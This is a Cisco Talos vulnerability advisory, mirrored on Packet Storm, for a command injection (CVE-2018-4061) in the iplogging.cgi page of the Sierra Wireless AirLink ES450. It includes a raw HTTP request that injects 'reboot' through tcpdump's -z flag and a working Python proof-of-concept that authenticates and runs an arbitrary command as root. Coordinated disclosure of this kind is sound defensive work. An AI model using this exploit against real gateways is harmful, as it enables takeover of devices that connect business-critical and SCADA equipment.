what you don't know can hurt you

Sierra Wireless AirLink ES450 ACEManager iplogging.cgi Command Injection

Sierra Wireless AirLink ES450 ACEManager iplogging.cgi Command Injection
Posted Apr 26, 2019
Authored by Cisco Talos, Jared Rittle, Carl Hurd | Site talosintelligence.com

An exploitable command injection vulnerability exists in the ACEManager iplogging.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can inject arbitrary commands, resulting in arbitrary command execution. An attacker can send an authenticated HTTP request to trigger this vulnerability.

tags | exploit, web, arbitrary, cgi
advisories | CVE-2018-4061
MD5 | 51ec79c16e9a99071ffbb6e2512b3932

Sierra Wireless AirLink ES450 ACEManager iplogging.cgi Command Injection

Change Mirror Download
Talos Vulnerability Report

TALOS-2018-0746

Sierra Wireless AirLink ES450 ACEManager iplogging.cgi command injection vulnerability
April 25, 2019

CVE Number
CVE-2018-4061

Summary

An exploitable command injection vulnerability exists in the ACEManager iplogging.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can inject arbitrary commands, resulting in arbitrary command execution. An attacker can send an authenticated HTTP request to trigger this vulnerability.


Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3


Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/
CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Details

Sierra Wireless manufactures wireless communications equipment. They provide embedded solutions and wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is an LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting point-of-sale devices, remote SCADA equipment, or other business-critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

If a request is made to /admin/tools/iplogging.cgi within ACEManager, the -z flag is not properly escaped, or removed. This flag is responsible for providing a postrotate-command to be provided to tcpdump which allows for command injection as root. This flag needs the -G flag to properly set up the rotation timeframe for the command to be executed.

The following POST request will trigger the vulnerability.

POST /admin/tools/iplogging.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/tools/iplogging.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Cookie: token=1e9c07e135a15e40b3290c320245ca9a
Connection: close

tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

This vulnerability was discovered and tested using the AirLink ES450. This vulnerability also most likely affects the AirLink GX450 product, as well.
Exploit Proof of Concept

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import socket
import time
import requests

def auth(ip, port, password):
data = """<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[{}]]></password>
</connect>
</request>""".format(password)

response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)

try:
cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
return cookies
except:
print("Error while authenticating")
sys.exit(0)

def main():
if len(sys.argv) < 5 or len(sys.argv) > 5:
print("Usage : {} [ip address] [port] [password of user] [cmd to run]".format(sys.argv[0]))
sys.exit(0)

ip = sys.argv[1]
port = sys.argv[2]
password = sys.argv[3]
cmd = sys.argv[4]

print("Injecting command : {}".format(cmd))

cookies = auth(ip, port, password)

files = {'save-as-filename': (None, "iplogging_params.tcp"), 'file-location': (None, "/tmp/iplogging_params.tcp"), 'upload-file': ('exploit.xml', 'none')}
response = requests.post("http://"+ip+":"+port+"/cgi-bin/iplogging_upload.cgi", cookies=cookies, files=files)

response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=getCmds")

data = "tcpdumpParams=tcpdump -z {} -G 1 -i eth0&stateRequest=start".format(cmd)
response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data=data)

response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=queryStatus")

if __name__ == "__main__":
main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor's analysis of issues
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release

Credit

Discovered by Carl Hurd and Jared Rittle of Cisco Talos.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close